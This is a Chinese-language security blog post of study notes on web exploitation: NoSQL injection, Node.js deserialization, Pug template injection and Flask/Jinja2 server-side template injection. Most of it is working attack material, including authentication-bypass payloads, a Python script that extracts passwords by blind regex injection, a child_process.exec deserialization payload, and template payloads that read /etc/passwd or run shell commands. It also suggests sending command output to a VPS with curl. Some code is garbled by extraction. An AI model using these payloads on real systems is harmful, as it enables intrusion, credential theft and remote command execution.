杂文1
NOTE-2020/3/5
nosql注入
[{"$gt":""}]
大于NULL(恒等)相当于 or 1=1
1 |
|
- e.g.:
- 客户端POST数据格式为json:
{ "用户名":"admin","密码": "GuessingAdminPassword" }
- 服务端逻辑:
db.collection(collection).find({"username":username,"password":password}).limit(1)
- 注入:
{"username":"admin","password":{"$gt":""}
- qs 模块: 允许在参数中使用括号表示。
username[value] = admin&password [value] = admin
===>{"username":{"value":"admin"},"password":{"value":"admin" }}
- payload:
username=admin&password[$gt]=
- 服务端请求json:
{"username": "admin", "password":{"$gt":""}
- payload:
- 客户端POST数据格式为json:
- payload:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- 绕过基础认证:
username[$ne]=toto&password[$ne]=toto
- 长度提取:
username[$ne]=toto&password[$regex]=.{3}
长度为3 - 内容提取:
username[$ne]=toto&password[$regex]=md.{1}
//username[$ne]=toto&password[$regex]=m.*
- blind:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c - MongoDB Payloads:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html
https://www.owasp.org/index.php/Testing_for_NoSQL_injection
- 绕过基础认证:
反序列化
- 序列化: 序列化常用于生成值/数据的可存储表示而不会丢失其类型或结构。序列化将对象转换为字节流,以通过网络传输或存储。通常,转换方法涉及 XML,JSON 或特定于该语言的序列化方法。
- e.g. :
- serialize.js : https://github.com/luin/serialize
- step 1:
- 全局搜索
eval
===>obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
- 全局搜索
- step2:
- 构建反序列化对象:
{“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’,function(error, stdout, stderr) { console.log(stdout) });}()”}
- 构建反序列化对象:
- 参考文献:
模板注入
模板:将静态部分糅合,操作方便,不用手写静态结构。可实现代码化。
模板注入是指用户输入直接传递到渲染模板,允许修改底层模板。
检测:检查我们提供的输入参数是否可以处理基本操作
- 关于攻击模板和与底层模板系统交互:
- 关于攻击模板和与底层模板系统交互:
一句话:破坏模板结构,使输入进入模板底层并执行。
Pug模板注入:
%0a - 换行符,破坏输入结构,进入底层
%3d - 编码”=”,pug系统等号输出js执行结果
e.g. : 构造
GET /ti?user=%0a%3d9*9
输出为81攻击步骤:
- 访问全局:
%0a%3d%20%67%6c%6f%62%61%6c
==>%0a%3d globa
- 使用each迭代器查找可访问的对象:
%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e%67%6c%6f%62%61%6c%20%70%3d%69%6e%64%65%78
==>each val,index inglobal p=index
- 目的:寻找到包含require方法的对象。
1
2var x = global.process.mainModule.require
x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/ accounts.txt')
- 访问全局:
工具:tplmap ==>
./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link=
flask模板注入
flask基础
路由:
1
2
3
4from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'router装饰器将函数与url连接起来,当访问
http://127.0.0.1/index
时返回hello word
渲染:
render_template : 渲染指定文件
return render_template('index.html')
render_template_string : 渲染字符串(SSTI与他有关)
1
2html = '<h1>This is index page</h1>'
return render_template_string(html)
模板:
- 根目录下的
templates
文件夹存放html文件 - 模板支持调用模板函数来传参:
1
2
3
4
5# test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')模板文件中用1
2# /templates/index.html
<h1>{{content}}</h1>{{}}`包裹变量 * flask模板注入: + ***不正确的使用flask中的render_template_string方法会引发SSTI*** + xss漏洞:
不仅可以传参,还可以在里面执行简单的表达式,例如由于code参数可控,被直接拼接进模板文件内容,当传入 `` 时导致xss * 修改一下代码:1
2
3
4
5
6
7@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)此时是安全的,传入js语句会被渲染时编码转义,此时***用户可控的是code变量,而不是模板文件内容*** + SSTI文件读取/命令执行: * tips: `{{}}1
2
3
4@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)?id={{2*4}}
会输出8
?id={{config}}
输出 flask 的全局变量- 所以 flask 利用思路和 pug 相同:
- 找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
- 几个魔术方法:
1
2
3
4
5
6
7
8__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用 - 获取字符串类对象:
1
2>>> ''.__class__
<type 'str'> - 寻找基类的可用引用:
1
2>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] - 可以看到
<type 'file'>
- 利用:
?id={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 根目录下的
命令执行:
- 思路和构造文件读取的一样: 寻找包含os模块的脚本
1
2
3
4
5
6
7
8
9
10#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1 - 利用:
?id={{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}
- 结果不会回显,可用
curl
命令传回vps
- 结果不会回显,可用
- 思路和构造文件读取的一样: 寻找包含os模块的脚本
bypass payload:
https://0day.work/jinja2-template-injection-filter-bypasses/
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!